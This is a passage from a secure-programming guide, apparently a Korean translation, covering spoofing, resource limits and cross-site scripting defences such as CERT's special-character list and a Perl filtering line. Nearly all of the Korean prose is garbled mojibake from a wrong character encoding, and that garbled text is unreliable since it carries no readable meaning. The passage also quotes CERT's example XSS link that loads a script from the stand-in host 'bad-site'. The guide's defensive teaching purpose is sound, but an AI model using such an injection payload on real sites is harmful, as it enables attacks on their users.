URL Àº Ç¥½ÃµÇÁö ¾ÊÀ» °ÍÀÌ¸ç µû¶ó¼­ »ç¿ëÀÚ´Â ¾Ç¿ëµÇ°í ÀÖÀ½À» ¾Ë¾ÆÂ÷¸®Áö ¸øÇÒ °Í°°´Ù. ´Ù¸¥ ¹æ¹ýÀº ``½ÇÁ¦" »çÀÌÆ®¿Í °íÀÇÀûÀ¸·Î À¯»çÇÏ°Ô º¸ÀÌ´Â À̸§À» °®´Â »çÀÌÆ®¸¦ ¸¸µå´Â °ÍÀÌ´Ù. ÀÌ·± ¸ðµç °æ¿ì¿¡ ÀÖ¾î ´Ü¼øÈ÷ ¾ÏȣȭÇÏ´Â °ÍÀº ±×´ÙÁö À¯¿ëÇÏÁö ¾Ê´Ù - °ø°ÝÀÚ´Â º¸¿©Áö´Â ¸ðµç °ÍÀ» Á¦¾îÇÒ ¼ö ÀÖÀ¸¸ç µ¿½Ã¿¡ ¾ÏȣȭµÈ µ¥ÀÌŸ¿¡ ¸Å¿ì ¸¸Á·ÇÒ ¼ö ÀÖ´Ù.

ÀÌ·¯ÇÑ ¹®Á¦¸¦ ´ëóÇÏ´Â °ÍÀº ´õ¿í ¾î·Æ´Ù; ÇöÀç ÀúÀÚ´Â À¥ »ç¿ëÀÚ¸¦ ±â¸¸ÇÏÁö ¸øÇϵµ·Ï ÇÏ´Â ¾î¶°ÇÑ ÁÁÀº ÇØ°á ¹æ¹ýµµ ¾ø´Ù. À¥ ºê¶ó¿ìÀú °³¹ßÀÚ¿¡°Ô ÀÌ·¯ÇÑ ``±â¸¸" À» ½±°Ô ½Äº°ÇÒ ¼ö ÀÖµµ·Ï ´ëóÇ϶ó°í ±ÇÇÒ °ÍÀÌ´Ù. »ç¿ëÀÚ°¡ Á¤È®ÇÑ »çÀÌÆ®¿¡ ¿Ã¹Ù¸£°Ô ¿¬°áÇÏ´Â °ÍÀÌ Áß´ëÇÏ´Ù¸é »ç¿ëÀÚ·Î ÇÏ¿©±Ý À§Çù¿¡ ´ëóÇÒ ¼ö ÀÖ´Â °£´ÜÇÑ ÀýÂ÷¸¦ »ç¿ëÇϵµ·Ï ÇØ¶ó. ºê¶ó¿ìÀú¸¦ Á¾·á½ÃŲ ÈÄ Àç½ÃÀÛÇÏ°Ô Çϰí À¥ ÁÖ¼Ò°¡ ¸Å¿ì °£´ÜÇϸç ÀϹÝÀûÀ¸·Î öÀÚ¸¦ À߸ø ¾²Áö ¾Ê¾Ò´ÂÁö È®ÀÎÇϵµ·Ï ÇØ¶ó. ¾î¶² ``ºñ½ÁÇϰÔ" ¹ßÀ½µÇ´Â DND À̸§À» ¼ÒÀ¯ÇÏ°í ¶ÇÇÑ °ø°ÝÀÚ¸¦ ã±â À§ÇØ ±×·¯ÇÑ ´Ù¸¥ DNS À̸§À» ã°í ½ÍÀ» ¼öµµ ÀÖ´Ù.


6.11. ³»ºÎÀÇ Àϰü¼ºÀ» °Ë»çÇÏ´Â Äڵ带 »ç¿ëÇØ¶ó

ÇÁ·Î±×·¥Àº È£Ãâ Àμö ¹× ±âº»ÀûÀÎ »óÅ¿¡ ´ëÇÑ °¡Á¤ÀÌ À¯È¿ÇÑÁö È®ÀÎÇϱâ À§ÇØ °Ë»çÇØ¾ß ÇÑ´Ù. C ¿¡¼­ assert(3) ¿Í °°Àº ¸ÅÅ©·Î°¡ À¯¿ëÇÒ ¼öµµ ÀÖ´Ù.


6.12. ½º½º·Î ÀÚ¿øÀ» Á¦ÇÑÇØ¶ó

³×Æ®¿öÅ© µ¥¸ó¿¡¼­ °úµµÇÑ ºÎÇϸ¦ ÁÙÀ̰ųª Á¦ÇÑÇØ¶ó. »ç¿ëµÉ ÀÚ¿øµéÀ» Á¦ÇÑÇϱâ À§ÇØ setrlimit(2) ¸¦ »ç¿ëÇØ¼­ ÇѰ谪À» ¼³Á¤Çضó. ÃÖ¼ÒÇÑ setrlimit(2) ¸¦ »ç¿ëÇØ¼­ ``ÄÚ¾î" ÆÄÀÏÀÇ »ý¼ºÀ» ¸øÇϵµ·Ï ÇØ¶ó. ¿¹¸¦ µé¾î µðÆúÆ®·Î ¸®´ª½º´Â ÇÁ·Î±×·¥ÀÌ ºñÁ¤»óÀûÀ¸·Î Á¾·áµÈ °æ¿ì ¸ðµç ÇÁ·Î±×·¥ ¸Þ¸ð¸®¸¦ ÀúÀåÇϰí ÀÖ´Â ÄÚ¾î ÆÄÀÏÀ» »ý¼ºÇϴµ¥ ÀÌ ÆÄÀÏÀÌ ÆÐ½º¿öµå ¶Ç´Â ´Ù¸¥ ±â¹ÐÀ» ´Ù·ç´Â µ¥ÀÌŸ¸¦ Æ÷ÇÔÇÒ ¼öµµ ÀÖ´Ù.


6.13. ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¸¦ ¿¹¹æÇضó

¾î¶² º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ (°ø°ÝÀÚ) ·ÎºÎÅÍ µ¥ÀÌŸ¸¦ ¹Þ¾Æ À̸¦ ´Ù¸¥ »ç¿ëÀÚ ¾ÖÇø®ÄÉÀÌ¼Ç (victim) ¿¡ °Ç³×ÁØ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ victim À» º¸È£ÇÏÁö ¸øÇÑ´Ù¸é victim ÀÇ ¾ÖÇø®ÄÉÀÌ¼Ç (À¥ ºê¶ó¿ìÀú) Àº victim ¿¡ ÇØ¸¦ ³¢Ä¡´Â ¹æ½ÄÀ¸·Î ±× µ¥ÀÌŸ¸¦ ó¸®ÇÒ ¼öµµ ÀÖ´Ù. À̴ ƯÈ÷ HTML ¶Ç´Â XML À» »ç¿ëÇÏ´Â À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ ÀϹÝÀûÀÎ ¹®Á¦·Î ÀÌ´Â ``cross-site scripting", ``malicious HTML tags" ¹× ``malicious content" µî ¿©·¯ À̸§À¸·Î ºÒ¸®°í ÀÖ´Ù. ÀÌ ¹®Á¦°¡ ½ºÅ©¸³Æ® ¶Ç´Â HTML ¿¡ Á¦ÇѵǾî ÀÖÁö ¾Ê°í ±× ±âº»ÀûÀÎ º»ÁúÀÌ ±³Â÷ »çÀÌÆ®ÀûÀ̱⠶§¹®¿¡ ÀÌ Ã¥¿¡¼­´Â À̸¦ ``cross-site malicious content" ·Î ºÎ¸¦ °ÍÀÌ´Ù. ÀÌ ¹®Á¦°¡ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ¸·Î¸¸ ÇÑÁ¤µÇÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó ±×·¯³ª À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ ´ëÇÑ Æ¯º°ÇÑ ¹®Á¦À̱⠶§¹®¿¡ ÀÌ ³íÀÇÀÇ ³ª¸ÓÁö´Â À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ» °­Á¶ÇÒ °ÍÀÌ´Ù. ¶§¶§·Î °ø°ÝÀÚ´Â victim À¸·Î ÇÏ¿©±Ý victim ¿¡¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À¸·Î µ¥ÀÌŸ¸¦ º¸³»µµ·Ï ÇÒ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº À̸¦ º¸È£ÇØ¾ß ÇÑ´Ù.


6.13.1. ¹®Á¦ ¼³¸í

°£´ÜÇÑ ¿¹·Î ½ÃÀÛÇÏÀÚ. ¾î¶² À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ³ªÁß¿¡ ´Ù¸¥ µ¶Àڵ鿡°Ô °øÇ¥µÉ µ¥ÀÌŸ ÀԷ¿¡ HTML ű׸¦ Çã¿ëÇϵµ·Ï ¼³°èµÇ¾î ÀÖ´Ù (°Ô½ºÆ®ºÏ ¶Ç´Â "reader comment"). À̸¦ ¸·±â À§ÇØ ¾Æ¹« °Íµµ ÇÏÁö ¾Ê´Â´Ù¸é ÀÌ·¯ÇÑ Å±״ ½ºÅ©¸³Æ®, ÀÚ¹Ù ÂüÁ¶ (¾ÇÀÇÀÖ´Â ¾ÖÇø´¿¡ ´ëÇÑ ÂüÁ¶¸¦ Æ÷ÇÔÇØ¼­), DHTML ű×, óÀ½ÀÇ ¹®¼­ ³¡Ç¥½Ã (</HTML>), ÆùÆ® Å©±â ¿äû µîÀ» ³¢¿ö³ÖÀ½À¸·Î½á ´Ù¸¥ »ç¿ëÀÚµéÀ» °ø°ÝÇϱâ À§ÇØ ¾ÇÀÇÀÖ´Â »ç¿ëÀÚ°¡ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ ´É·ÂÀº SSL ¾ÏȣȭµÈ ¿¬°á ³ëÃâ, Ŭ¶óÀÌ¾ðÆ®¸¦ ÅëÇÑ Á¦ÇÑµÈ À¥»çÀÌÆ® Á¢±Ù, µµ¸ÞÀο¡ ±âÃÊÇÑ º¸¾È Á¤Ã¥ À§¹Ý, À¥ÆäÀÌÁö¸¦ ÀÐÀ» ¼ö ¾ø°Ô ¸¸µé±â, À¥ÆäÀÌÁö¸¦ »ç¿ëÇϱ⿡ ºÒÄèÇÏ°Ô ¸¸µé±â (È­³ª°Ô ÇÏ´Â ¹è³Ê ¹× °ø°ÝÀûÀÎ material), ÇÁ¶óÀ̹ö½Ã ħÀÔ Çã¿ë (ƯÁ¤ ÆäÀÌÁö¸¦ ´©°¡ ÀдÂÁö Á¤È®È÷ ¾Ë¼ö ÀÖµµ·Ï ÇÏ´Â À¥¹ö±× »ðÀÔÀ» ÇÔÀ¸·Î½á), ¼­ºñ½º ºÎÀÎ °ø°Ý »ý¼º (¹«¼öÈ÷ ¸¹Àº À©µµ¿ì »ý¼ºÀ» ÅëÇØ) ¹× ¸Å¿ì ÆÄ±«ÀûÀÎ °ø°Ý (½ºÅ©¸³ÆÃ ¾ð¾î ¶Ç´Â ºê¶ó¿ìÀú¿¡ ¹öÆÛ ¿À¹öÇ÷οì¿Í °°Àº º¸¾È Ãë¾à¼ºÀ» »ðÀÔÇÔÀ¸·Î½á) µé°ú °°Àº ´Ù¾çÇÑ È¿°ú¸¦ À§ÇØ ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. ¾ÇÀÇÀÖ´Â FORM ű׸¦ Àû¼Ò¿¡ »ðÀÔÇÔÀ¸·Î½á ħÀÔÀÚ´Â »ç¿ëÀÚ¸¦ ¼Ó¿© ±â¹ÐÀ» ´Ù·ç´Â Á¤º¸¸¦ µå·¯³»µµ·Ï ÇÒ ¼öµµ ÀÖ´Ù (±âÁ¸ ÆûÀÇ µ¿ÀÛÀ» ¼öÁ¤ÇÔÀ¸·Î½á). À̰ÍÀÌ ¹®Á¦ÀÇ ¿ÏÀüÇÑ ¸ñ·ÏÀº °áÄÚ ¾Æ´ÏÁö¸¸ À̰ÍÀÌ ½É°¢ÇÑ ¹®Á¦¸¦ ÃÊ·¡ÇÒ ¼ö ÀÖÀ½À» ±ú´Ý°Ô Çϴµ¥ ÃæºÐÇÏ´Ù.

´ëºÎºÐÀÇ ``³íÀÇ º¸µå (discussion board)" ´Â ÀÌ¹Ì ÀÌ ¹®Á¦¸¦ ¾Ë°í ÀÖÀ¸¸ç ´ëºÎºÐÀº ÀÌ¹Ì ´Ù¾çÇÑ »ç¶÷µéÀÇ ³íÀÇÀÇ ÀϺκÐÀ¸·Î ÅØ½ºÆ®È­µÇ¾î À̸¦ ¿¹¹æÇϱâ À§ÇÑ Á¶Ä¡¸¦ ÃëÇϰí ÀÖ´Ù. ºÒÇàÈ÷ ¸¹Àº À¥ ¾ÖÇø®ÄÉÀÌ¼Ç °³¹ßÀÚµéÀº À̰ÍÀÌ ´õ¿í ÀϹÝÀûÀÎ ¹®Á¦¶ó°í ±ú´ÝÁö ¸øÇϰí ÀÖ´Ù. ÇÑ »ç¿ëÀÚ¿¡¼­ ´Ù¸¥ »ç¿ëÀÚ·Î º¸³»Áö´Â ¸ðµç µ¥ÀÌŸ°ªÀº ÀÓÀÇÀÇ HTML ÀÌ ¿¹»óµÇ´Â ¸í¹éÇÑ °æ¿ì°¡ ¾Æ´Ï´õ¶óµµ ÀáÀçÀûÀ¸·Î cross-site malicious Æ÷½ºÆÃÀÇ ¼Ò½º°¡ µÉ ¼ö ÀÖ´Ù. »ç¿ëÀÚ´Â ´Ù¸¥ »çÀÌÆ®¸¦ ÅëÇØ µ¥ÀÌŸ¸¦ °ø±ÞÇϵµ·Ï ¼ÓÀ» ¼ö Àֱ⠶§¹®¿¡ ¾ÇÀÇÀÖ´Â µ¥ÀÌŸ´Â »ç¿ëÀÚ Àڽſ¡ ÀÇÇØ¼­µµ °ø±ÞµÉ ¼ö ÀÖ´Ù. ´ÙÀ½Àº ¾ÇÀÇÀÖ´Â µ¥ÀÌŸ¸¦ »ç¿ëÀÚ°¡ ´Ù¸¥ »çÀÌÆ®·Î Àü¼ÛÇϰԲû ÇÏ´Â HTML ¸µÅ©ÀÇ ¿¹ÀÌ´Ù (CERT ·ÎºÎÅÍ):

 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

¿ä¾àÇϸé À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ÀÔ·Â (¸ðµç Æû µ¥ÀÌŸ¸¦ Æ÷ÇÔÇØ¼­) À» °Ë»ç, ÇÊÅ͸µ ¶Ç´Â ÀÎÄÚµùÇÑ ÈÄ ¹Þ¾Æµé¿©¾ß ÇÑ´Ù. ´Ù¸¥ »ç¿ëÀÚ°¡ ¸ô·¡ µ¥ÀÌŸ¸¦ Á¦°øÇÒ ¼öµµ Àֱ⠶§¹®¿¡ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÇ ¸¹Àº °æ¿ì µ¿ÀÏ »ç¿ëÀÚ¿¡°Ô ±× µ¥ÀÌŸ¸¦ µ¹·Áº¸³» Áö ¸øÇÒ ¼öµµ ÀÖ´Ù. ÀÌ·¯ÇÑ material À» Çã¿ëÇÏ´Â °ÍÀÌ ½Ã½ºÅÛ ¼Õ»óÀ» °¡Á®¿Ã ¼ö´Â ¾ø´Ù°í ÇÏ´õ¶óµµ ÀÌ´Â ½Ã½ºÅÛÀÌ ´Ù¸¥ »ç¿ëÀڵ鿡 ´ëÇÑ °ø°Ý ·çÆ®°¡ µÉ ¼ö ÀÖ°Ô²û ÇÒ °ÍÀÌ´Ù. ´õ¿í ³ª»Û °ÍÀº ÀÌ·¯ÇÑ °ø°ÝÀÌ ½Ã½ºÅÛ¿¡¼­ ³ª¿Â °Íó·³ º¸ÀÏ °ÍÀÌ´Ù.

CERT ´Â ±Ç°í¾ÈÀº ´ÙÀ½°ú °°ÀÌ ÀÌ ¹®Á¦¸¦ ±â¼úÇÑ´Ù:

À¥ »çÀÌÆ®°¡ ½Å·ÚÇÒ ¼ö ¾ø´Â Ãâó·ÎºÎÅÍÀÇ È®ÀεÇÁö ¾ÊÀº ÀԷ¿¡ ±âÃÊÇØ µ¿ÀûÀ¸·Î »ý¼ºµÈ ÆäÀÌÁö¿¡ ¾ÇÀÇÀÖ´Â HTML ÅÂ±× ¶Ç´Â ½ºÅ©¸³Æ®¸¦ ¹«½ÉÄÚ Æ÷ÇÔÇÒ ¼öµµ ÀÖ´Ù ((CERT Advisory CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests).


6.13.2. ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¿¡ ´ëÇÑ ÇØ°á¹æ¾È

±âº»ÀûÀ¸·Î ÀÌ´Â ¾î¶² »ç¿ëÀÚ°¡ ³¢¿ö³ÖÀº ¸ðµç À¥ ¾ÖÇø®ÄÉÀÌ¼Ç Ãâ·ÂÀº ÇÊÅ͸µ (ÀÌ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ¹®ÀÚ°¡ Á¦°ÅµÉ ¼ö ÀÖµµ·Ï), ÀÎÄÚµù (ÀÌ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ¹®ÀÚ°¡ ¹®Á¦¸¦ ¿¹¹æÇÏ´Â ¹æ½ÄÀ¸·Î ÀÎÄÚµåµÉ ¼ö ÀÖµµ·Ï) ¶Ç´Â À¯È¿È­ (¾ÈÀüÇÑ µ¥ÀÌŸ¸¸ÀÌ µµÂøÇÏ´Â °ÍÀ» º¸ÁõÇϱâ À§ÇØ) µÇ¾î¾ß ÇÔÀ» ÀǹÌÇÑ´Ù. ÀÌ´Â URL ¸Å°³º¯¼ö, Æû µ¥ÀÌŸ, ÄíŰ, µ¥ÀÌŸº£À̽º ÁúÀÇ, CORBA ORB °á°ú ¹× ÆÄÀϳ»¿¡ ÀúÀåµÈ »ç¿ëÀڷκÎÅÍÀÇ µ¥ÀÌŸ¿Í °°Àº ÀÔ·ÂÀ¸·ÎºÎÅÍ ÆÄ»ýµÈ ¸ðµç Ãâ·ÂÀ» Æ÷ÇÔÇÑ´Ù. ¸¹Àº °æ¿ì ÇÊÅ͸µ°ú À¯È¿È­´Â ÀԷ½à ÇàÇØÁ®¾ß ÇÏÁö¸¸ ÀÎÄÚµùÀº ÀÔ·Â À¯È¿È­ ¶Ç´Â Ãâ·Â »ý¼º µ¿¾È¿¡ ÇàÇØÁú ¼ö ÀÖ´Ù. ºÐ¼®¾øÀÌ µ¥ÀÌŸ¸¦ ´ÜÁö Åë°ú½ÃŰ·Á°í ÇÑ´Ù¸é ÀԷ½à µ¥ÀÌŸ¸¦ ÀÎÄÚµåÇÏ´Â °ÍÀÌ ´õ¿í ÁÁ´Ù (µû¶ó¼­ ÀØÁö ¾ÊÀ» °ÍÀÌ´Ù). ±×·¯³ª ÇÁ·Î±×·¥ÀÌ µ¥ÀÌŸ¸¦ ó¸®ÇÑ´Ù¸é Ãâ·Â½Ã µ¥ÀÌŸ¸¦ ÀÎÄÚµåÇÏ´Â °ÍÀÌ ´õ¿í ½¬¿ï °ÍÀÌ´Ù. CERT ´Â ÇÊÅ͸µ°ú ÀÎÄÚµùÀ» µ¥ÀÌŸ Ãâ·Âµ¿¾È¿¡ ÇàÇ϶ó°í ÃßõÇÑ´Ù; ÀÌ´Â ³ª»Û °³³äÀº ¾Æ´ÏÁö¸¸ ´ë½Å ÀԷ½à À̸¦ ÇÏ´Â °ÍÀÌ Àǹ̰¡ ÀÖ´Â °æ¿ì°¡ ¸¹ÀÌ ÀÖ´Ù. Áß¿äÇÑ ¹®Á¦´Â ¸ðµç Ãâ·Â¿¡ ´ëÇØ ¸ðµç °æ¿ì¸¦ ´Ù·ç´ÂÁö È®ÀÎÇÏ´Â °ÍÀÌ´Ù. ±×·¯³ª ÀÌ´Â Á¢±Ù ¹æ¹ý¿¡ »ó°ü¾øÀÌ ½¬¿î ÀÛ¾÷Àº ¾Æ´Ï´Ù.

°æ°í - ¸¹Àº °æ¿ì ÀÌ·¯ÇÑ ±â¹ýÀº Ãâ·ÂÀÇ ¹®ÀÚ ÀÎÄÚµù¿¡ ´ëÇØ Á¦¾î¸¦ ÇÏÁö ¸øÇÑ´Ù¸é ÆÄ±«µÉ ¼ö ÀÖ´Ù. ±×·¸Áö ¾Ê´Ù¸é °ø°ÝÀÚ°¡ ¿©±â¿¡ ³íÀÇµÈ ±â¹ýÀ» ÆÄ±«Çϱâ À§ÇØ ¿¹±âÄ¡ ¸øÇÑ ¹®ÀÚ ÀÎÄÚµùÀ» »ç¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. °í¸¿°Ôµµ ÀÌ´Â ¾î·ÆÁö ¾Ê´Ù; Ãâ·Â ¹®ÀÚ ÀÎÄÚµù¿¡ ´ëÇØ Á¦¾î±ÇÀ» ¾ò´Â °ÍÀº 8.5절 ¿¡ ³íÀǵǾî ÀÖ´Ù.

ù ÇϺÎÀýÀº ÇÊÅ͸µ, ÀÎÄÚµù ¹× À¯È¿È­µÉ Çʿ䰡 Àִ Ưº° ¹®ÀÚÀÇ ½Äº° ¹æ¹ýÀ» ³íÀÇÇÑ´Ù. ´ÙÀ½ ÀýÀº ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ ÇÊÅ͸µ ¶Ç´Â ÀÎÄÚµùÇÏ´Â ¹æ¹ýÀ» ±â¼úÇÑ´Ù. ±×·¯³ª ÀϹÝÀûÀ¸·Î µ¥ÀÌŸ À¯È¿È­ ¹æ¹ýÀº ³íÀǵÇÁö ¾ÊÀ¸¸ç ÀϹÝÀûÀ¸·Î ÀÔ·Â À¯È¿È­¿¡ ´ëÇØ¼­´Â 4장 À» º¸¶ó ÀÔ·ÂÀÌ HTML ÅØ½ºÆ® ¶Ç´Â URI ¶ó¸é 4.10절 À» º¸¶ó. ¶ÇÇÑ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÌ ¾ÇÀÇÀÖ´Â cross-postings ¸¦ ¹ÞÀ» ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ ºñÁúÀǵµ GET ÇÁ·ÎÅäÄÝÀ» ±ÝÁöÇØ¾ß ÇÑ´Ù.


6.13.2.1. Ưº° ¹®ÀÚ ½Äº°

´ÙÀ½Àº ´Ù¾çÇÑ È¯°æ¿¡ ´ëÇÑ Æ¯º° ¹®ÀÚµéÀÌ´Ù (ÀÌ ¸ñ·ÏÀ» ÀÛ¼ºÇÑ CERT ¿¡ °¨»çµå¸°´Ù):

  • ºí·Ï ¼öÁØ ¿ä¼ÒÀÇ ÄÁÅÙÆ®³»¿¡¼­ (¿¹, HTML ÀÇ ÅØ½ºÆ® ´Ü¶ôÀÇ Áß°£¿¡¼­ ¶Ç´Â XML ÀÇ ºí·Ï¿¡¼­)

    • "<" ´Â ű׸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù

    • "&" ´Â ¹®ÀÚ ¿£Æ¼Æ¼¸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù

    • ">" ´Â ÆäÀÌÁö ÀÛ¼ºÀÚ°¡ ½ÇÁ¦·Î ½ÃÀÛ¿¡ "<" ¸¦ ³õ´Â´Ù°í ÀǹÌÇßÁö¸¸ À̸¦ ¿¡·¯·Î »ý·«Çß´Ù´Â °¡Á¤ÇÏ¿¡ ¾î¶² ºê¶ó¿ìÀú°¡ À̸¦ Ưº°ÇÏ°Ô ´Ù·ç±â ¶§¹®¿¡ Ưº°ÇÏ´Ù

  • ¼Ó¼º°ª¿¡¼­

    • ÀÌÁß ÀÎ¿ë ºÎÈ£·Î µÑ·¯½ÎÀÎ ¼Ó¼º°ª¿¡¼­ ÀÌÁß ÀÎ¿ë ºÎÈ£´Â ¼Ó¼º°ªÀÇ ³¡À» Ç¥½ÃÇϱ⠶§¹®¿¡ Gº°ÇÏ´Ù

    • ´ÜÀÏ ÀÎ¿ë ºÎÈ£·Î µÑ·¯½ÎÀÎ ¼Ó¼º°ª¿¡¼­ ´ÜÀÏ ÀÎ¿ë ºÎÈ£´Â ¼Ó¼º°ªÀÇ ³¡À» Ç¥½ÃÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù. XML ¿¡¼­´Â ÇÕ¹ýÀûÀÌ ¾Æ´ÔÀ» ÁÖ¸ñÇØ¶ó ÀúÀÚ´Â ÀÌÀÇ »ç¿ëÀ» ÃßÀüÇÏÁö ¾Ê´Â´Ù.

    • ¾î¶°ÇÑ ÀοëºÎÈ£µµ ¾ø´Â ¼Ó¼º°ªÀº °ø¹é ¹× Åǰú °°Àº white-space ¹®ÀÚ¸¦ Ưº°ÇÏ°Ô ¸¸µç´Ù. XML ¿¡¼­´Â ÇÕ¹ýÀûÀÌÁö ¾ÊÀ¸¸ç ÀÌ´Â ´õ¿í ¸¹Àº ¹®ÀÚ¸¦ Ưº°ÇÏ°Ô ¸¸µëÀ» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ µ¿ÀûÀ¸·Î »ý¼ºµÈ ¼Ó¼º°ªÀ» »ç¿ëÇÑ´Ù¸é ÀÎ¿ë ºÎÈ£°¡ ¾ø´Â ¼Ó¼ºÀ» »ç¿ëÇÏÁö ¾Ê±â¸¦ ÃßõÇÑ´Ù.

    • "&" ´Â ¾î¶² ¼Ó¼º°ú ÇÔ²² »ç¿ëµÉ ¶§ ¹®ÀÚ ¿£Æ¼Æ¼¸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù.

  • URL ¿¡¼­ ¿¹¸¦ µé¾î °Ë»ö ¿£ÁøÀÌ °Ë»öÀ» Àç½ÇÇàÇϵµ·Ï °á°ú ÆäÀÌÁö³»¿¡ »ç¿ëÀÚ°¡ Ŭ¸¯ÇÒ ¼ö ÀÖ´Â ¸µÅ©¸¦ Á¦°øÇÒ ¼öµµ ÀÖ´Ù. ÀÌ´Â URL ³»ÀÇ °Ë»ö ÁúÀǸ¦ ÀÎÄÚµùÇÔÀ¸·Î½á ±¸ÇöµÉ ¼ö ÀÖ´Ù. À̰¡ ÇàÇØÁú¶§ Ãß°¡ÀûÀΠƯº° ¹®ÀÚ¸¦ µµÀÔÇÑ´Ù:

    • °ø¹é, Åǰú °³ÇàÀº URL ÀÇ ³¡À» Ç¥½ÃÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù.

    • "&" ´Â ¹®ÀÚ ¿£Æ¼Æ¼ ¶Ç´Â º°µµÀÇ CGI ¸Å°³º¯¼ö¸¦ µµÀÔÇϱ⠶§¹®¿¡ Ưº°ÇÏ´Ù.

    • ¾Æ½ºÅ°°¡ ¾Æ´Ñ ¹®ÀÚ (Áï, ISO-8859-1 ÀÎÄÚµù¿¡¼­ 128 º¸´Ù Å« ¹®ÀÚ) ´Â URL ¿¡¼­ Çã¿ëµÇÁö ¾ÊÀ¸¸ç µû¶ó¼­ ¸ðµÎ Ưº°ÇÏ´Ù.

    • "%" ´Â HTTP À̽ºÄÉÀÌÇÁ ½ÃÄö½º·Î ÀÎÄÚµåµÈ ¸Å°³º¯¼ö°¡ ¼­¹öÃø Äڵ忡 ÀÇÇØ µðÄÚµåµÇ´Â ¸ðµç °÷¿¡¼­ÀÇ ÀÔ·ÂÀ¸·ÎºÎÅÍ ÇÊÅ͸µµÇ¾î¾ß ÇÑ´Ù. "%68%65%6C%6C%6F" ¿Í °°Àº ÀÔ·ÂÀÌ ¿äûµÈ À¥ ÆäÀÌÁö¿¡ ³ªÅ¸³¯ ¶§ "hello" °¡ µÈ´Ù¸é % ´Â ÇÊÅ͸µµÇ¾î¾ß ÇÑ´Ù.

  • <SCRIPT></SCRIPT> ¸öü³»¿¡¼­ ¼¼¹ÌÄÝ·Ð, °ýÈ£, curly braces ¿Í °³ÇàÀº ÅØ½ºÆ®°¡ ±âÁ¸ ½ºÅ©¸³Æ® ű׳»¿¡ Á÷Á¢ »ðÀ﵃ ¼ö ÀÖ´Â »óȲ¿¡¼­ ÇÊÅ͸µµÇ¾î¾ß ÇÑ´Ù.

  • ÀԷ½ÃÀÇ ¸ðµç °¨Åº ¹®ÀÚ (!) ¸¦ Ãâ·Â½Ã ÀÌÁß ÀÎ¿ë ºÎÈ£·Î º¯È¯ÇÏ´Â ¼­¹öÃø ½ºÅ©¸³Æ®´Â Ãß°¡ÀûÀÎ ÇÊÅ͸µÀÌ ¿ä±¸µÉ ¼öµµ ÀÖ´Ù.

ÀϹÝÀûÀ¸·Î & ´Â HTML °ú XML ¿¡¼­ Ưº°ÇÔÀ» ÁÖ¸ñÇØ¶ó.


6.13.2.2. ÇÊÅ͸µ

ÀÌ·¯ÇÑ Æ¯º° ¹®ÀÚ¸¦ ´Ù·ç´Â ÇѰ¡Áö Á¢±Ù ¹æ¹ýÀº ´Ü¼øÈ÷ À̸¦ Á¦°ÅÇÏ´Â °ÍÀÌ´Ù (º¸Åë ÀÔ·Â ¶Ç´Â Ãâ·Â µ¿¾È¿¡)

À¯È¿ÇÑ ¹®ÀÚ¿¡ ´ëÇØ ÀÔ·ÂÀ» ÀÌ¹Ì À¯È¿È­ÇÏ¿´´Ù¸é (ÀϹÝÀûÀ¸·Î ÀÌ·¸°Ô ÇØ¾ß ÇÑ´Ù) ÀÌ´Â ´Ü¼øÈ÷ À¯È¿ ¹®ÀÚ ¸ñ·Ï¿¡¼­ Ưº° ¹®ÀÚ¸¦ ´Ü¼øÈ÷ »ý·«ÇÔÀ¸·Î½á ½±°Ô ÇàÇØÁø´Ù. ´ÙÀ½Àº ÇÕ¹ýÀûÀÎ ¹®ÀÚ¸¸ ¹Þ¾Æµé¿© ÇÊÅ͸µÇÏ´Â ÆÞ ÇÁ·Î±×·¥À¸·Î ÇÊÅͰ¡ °ø¹éÀÌ¿ÜÀÇ ¾î¶°ÇÑ Æ¯º° ¹®ÀÚµµ ¹Þ¾ÆµéÀÌÁö ¾Ê±â ¶§¹®¿¡ ÀοëµÈ ¼Ó¼º°ú °°Àº ºÎ¹®¿¡ ²Ï À¯¿ëÇÏ°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù:

 # ´ÜÁö ÇÕ¹ýÀûÀÎ ¹®Àڵ鸸 ¹Þ¾ÆµéÀδÙ:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;

